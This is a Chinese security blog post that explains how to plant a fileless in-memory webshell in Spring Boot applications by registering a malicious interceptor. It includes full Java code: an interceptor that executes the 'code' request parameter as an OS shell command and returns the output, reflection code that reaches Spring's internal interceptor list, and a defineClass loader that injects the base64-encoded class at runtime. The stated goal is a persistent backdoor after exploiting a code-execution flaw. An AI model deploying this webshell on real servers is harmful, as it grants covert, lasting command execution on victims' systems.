利用 intercetor 注入 spring 内存 webshell
0x00:前言
在工作中,我遇到一个基于 spring boot
框架开发,并且可以执行任意代码的 Restful Api
漏洞环境。目标机器有安全限制无法连接外网。这时候,一种方便后续继续操作或者说长期驻留后门的办法就是注入 java 内存 webshell。
目前针对 java web 注入内存 webshell 的经验有不少师傅已经总结过了,主流是根据不同的 web 容器(tomcat
、weblogic
等)和不同的 web 技术框架(servlet
、spring
系列等)来注入 filter
、listener
、servlet
、controller
等不同形式的内存马。
随着微服务部署技术的迭代演进,大型业务系统在到达真正的应用服务器之前往往需要经过 Load Balancer
和 API Gateway
等系统的流量转发。这样就导致在漏洞利用时可能会出现一个问题:如果请求的 url 是没有在网关系统注册的路由,在请求转发到真正的业务系统前就会被丢弃。
所以,在注入 java 内存马时,尽量不要使用新的路由来专门处理我们注入的 webshell 逻辑,最好是在每一次请求到达真正的业务逻辑前,都能提前进行我们 webshell 逻辑的处理。在 tomcat
容器下,有 filter
、listener
等技术可以达到上述要求。那么在 spring
框架层面下,有办法达到上面所说的效果吗?
0x01:探索
为了解决上面的问题,我们首先需要探究的是:一个 request 发送到 spring 应用,是怎么一步一步到达业务处理逻辑 controller 层的?
首先,因为 spring boot 使用 embed tomcat
作为容器,根据查阅资料或者调试经验,可以把第一个断点放置在下图所示的 org.apache.catalina.core.ApplicationFilterChain
的 internalDoFilter
方法中。
方法中通过迭代进行
filterChain.doFilter(request, response) -> filter.doFilter(request, response)
最终会遍历完成所有 filter 的逻辑。
在经过 Filter 层面处理后,就会进入熟悉的 spring-webmvc 组件 org.springframework.web.servlet.DispatcherServlet
类的 doDispatch
方法中。
为了方便分析,可把方法代码简化如下:
protected void doDispatch(HttpServletRequest request, HttpServletResponse response) throws Exception {
HttpServletRequest processedRequest = request;
HandlerExecutionChain mappedHandler = null;
......
try {
......
try {
......
// Determine handler for the current request.
mappedHandler = getHandler(processedRequest);
......
// Determine handler adapter for the current request.
HandlerAdapter ha = getHandlerAdapter(mappedHandler.getHandler());
......
if (!mappedHandler.applyPreHandle(processedRequest, response)) {
return;
}
// Actually invoke the handler.
mv = ha.handle(processedRequest, response, mappedHandler.getHandler());
......
mappedHandler.applyPostHandle(processedRequest, response, mv);
}
......
processDispatchResult(processedRequest, response, mappedHandler, mv, dispatchException);
}
......
}
首先注意到
mappedHandler = getHandler(processedRequest);
一行代码。跟入进去发现实际上是通过 org.springframework.web.servlet.DispatcherServlet
类的 getHandler
方法来获取处理本次请求的 handler
。
protected HandlerExecutionChain getHandler(HttpServletRequest request) throws Exception {
if (this.handlerMappings != null) {
for (HandlerMapping mapping : this.handlerMappings) {
HandlerExecutionChain handler = mapping.getHandler(request);
if (handler != null) {
return handler;
}
}
}
return null;
}
在 getHandler
方法中,会通过遍历下图中的 this.handlerMappings
来获取 HandlerMapping
对象实例 mapping
其中 mapping.getHandler(request)
实际上会调用下图的 org.springframework.web.servlet.handler.AbstractHandlerMapping
类的 getHandler
方法,并通过 getHandlerExecutionChain(handler, request)
方法返回 HandlerExecutionChain
类的实例。
如下图,继续跟入 getHandlerExecutionChain
方法中,发现会遍历 this.adaptedInterceptors
对象里所有的 HandlerInterceptor
类实例,通过 chain.addInterceptor
把已有的所有拦截器加入到需要返回的 HandlerExecutionChain
类实例中。
清楚了程序在哪里加入的 interceptor
后,返回刚开始的 doDispatch
方法简化代码中。
重点关注下面的 if 语句,发现会调用 applyPreHandle
方法
if (!mappedHandler.applyPreHandle(processedRequest, response)) {
return;
}
继续跟入 applyPreHandle
方法中 ,发现实际调用的是下图 org.springframework.web.servlet.HandlerExecutionChain
类的 applyprehandle
方法,并会在方法中通过 getInterceptors()
获取所有的拦截器,然后一个个调用拦截器的 preHandle
方法。
所以,到现在我们也清楚了程序是在哪里开始调用的 interceptor
。实际内容到这里就差不多了,不过如果要继续跟进刚开始的 doDispatch
方法,到下面这行代码
mv = ha.handle(processedRequest, response, mappedHandler.getHandler());
会发现程序调用了 org.springframework.web.servlet.mvc.method.AbstractHandlerMethodAdapter
类的 handle
方法。
如果程序提前在调用的 Controller
上设置了 Aspect
(切面),那么在正式调用 Controller
前实际上会先调用切面的代码,一定程度上也起到了 "拦截" 的效果。
不过因为 spring boot 是使用 CGLib 动态代理技术来实现的 Aspect
,所以细究起来不如使用 Interceptor
技术实现注入 webshell 更方便。
那么总结一下,一个 request 发送到 spring 应用,大概会经过以下几个层面才会到达处理业务逻辑的 Controller 层:
HttpRequest --> Filter --> DispactherServlet --> Interceptor --> Aspect --> Controller
0x02:实现
经过一番探索,我们发现使用 Interceptor
来拦截所有进入 Controller
的 http 请求理论上是可行的,接下来就是实现从代码层面动态注入一个 Interceptor
来达到 webshell 的效果。
一:实现恶意 Interceptor
首先,我写了一个继承自 org.springframework.web.servlet.handler.HandlerInterceptorAdapter
类,名为 magicInterceptor
的拦截器,并重写了 preHandle
方法,在其中实现一个简单的命令执行回显的 webshell 逻辑。
当请求参数中含有 code
字符串时,会把它的值当作命令执行,否则就忽略这次拦截,继续进行正常的业务逻辑。
import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
public class magicInterceptor extends HandlerInterceptorAdapter {
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
String code = request.getParameter("code");
if(code != null){
try {
java.io.PrintWriter writer = response.getWriter();
String o = "";
ProcessBuilder p;
if(System.getProperty("os.name").toLowerCase().contains("win")){
p = new ProcessBuilder(new String[]{"cmd.exe", "/c", code});
}else{
p = new ProcessBuilder(new String[]{"/bin/sh", "-c", code});
}
java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
o = c.hasNext() ? c.next(): o;
c.close();
writer.write(o);
writer.flush();
writer.close();
}catch (Exception e){
}
return false;
}
return true;
}
}
二:获取 ApplicationContext
然后,根据 0x01: 探索 中的详细分析,我选择把上面的 magicInterceptor
类实例手动注入到 org.springframework.web.servlet.handler.AbstractHandlerMapping
类的 adaptedInterceptors
属性中。
这里就遇到了个问题,怎么拿到当前代码运行环境中原来的 adaptedInterceptors
属性值呢?
如果理解了我早先写的一篇文章 基于内存 Webshell 的无文件攻击技术研究,就会很自然的想到,可以从当前代码运行时的上下文环境 ApplicationContext
中去寻找。
早先文章中提供了四种获取 ApplicationContext
的办法,这里再提供一种我 debug spring boot 源码时发现的另一种办法。
spring boot 初始化过程中会往 org.springframework.context.support.LiveBeansView
类的 applicationContexts
属性中添加 org.springframework.boot.web.servlet.context.AnnotationConfigServletWebServerApplicationContext
类的对象。
applicationContexts
属性定义如下所示:
private static final Set<ConfigurableApplicationContext> applicationContexts = new LinkedHashSet();
因为使用了 private static final
修饰符,所以可以直接反射获取属性值。
示例代码如下:
// 1. 反射 org.springframework.context.support.LiveBeansView 类 applicationContexts 属性
java.lang.reflect.Field filed = Class.forName("org.springframework.context.support.LiveBeansView").getDeclaredField("applicationContexts");
// 2. 属性被 private 修饰,所以 setAccessible true
filed.setAccessible(true);
// 3. 获取一个 ApplicationContext 实例
org.springframework.web.context.WebApplicationContext context =(org.springframework.web.context.WebApplicationContext) ((java.util.LinkedHashSet)filed.get(null)).iterator().next();
值得注意的是,因为 org.springframework.context.support.LiveBeansView
类在 spring-context
3.2.x 版本(现在最新版本是 5.3.x)才加入其中,所以比较低版本的 spring 无法通过此方法获得 ApplicationContext
的实例。
三. 获取 adaptedInterceptors
属性值
获得 ApplicationContext
实例后,还需要知道 org.springframework.web.servlet.handler.AbstractHandlerMapping
类实例的 bean name 叫什么。
自己研究过或者分析过我 早先文章 的应该已经比较清楚了, bean 实例名字是 requestMappingHandlerMapping
或者比较老版本的 DefaultAnnotationHandlerMapping
。那么获取 adaptedInterceptors
属性值就比较简单了:
org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping)context.getBean("requestMappingHandlerMapping");
java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
field.setAccessible(true);
java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>)field.get(abstractHandlerMapping);
四. 注入 Interceptor
万事俱备,最后只要把第一步实现的恶意 Interceptor 类加入到 adaptedInterceptors
属性值中就可以了。
这里顺便讲个小技巧,可以把 magicInterceptor
类在当前线程上下文的 ClassLoader 中定义,然后再从其中取出来就可以获得类实例了。
String className = "magicInterceptor";
String b64 = "......"; // magicInterceptor 类 class 的 base64 编码
byte[] bytes = sun.misc.BASE64Decoder.class.newInstance().decodeBuffer(b64);
java.lang.ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
try {
classLoader.loadClass(className);
}catch (ClassNotFoundException e){
java.lang.reflect.Method m0 = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
m0.setAccessible(true);
m0.invoke(classLoader, className, bytes, 0, bytes.length);
adaptedInterceptors.add(classLoader.loadClass("magicInterceptor").newInstance());
}
最后,我模拟了一个有 SpEL 表达式注入漏洞的场景,然后通过利用漏洞来注入 Interceptor。
然后随便访问一个路径,参数加上 ?code=id
就可以执行命令了
0x03: 后语
本文通过分析请求发送到 spring 应用到达业务逻辑 controller 层所经过的主要层次,提出了一种利用 intercetor 注入 spring 内存 webshell 的技术方案,并进行了相应的实现。在 spring 框架层面基本达到了和 Filter 型内存 webshell 一样的效果。
真大佬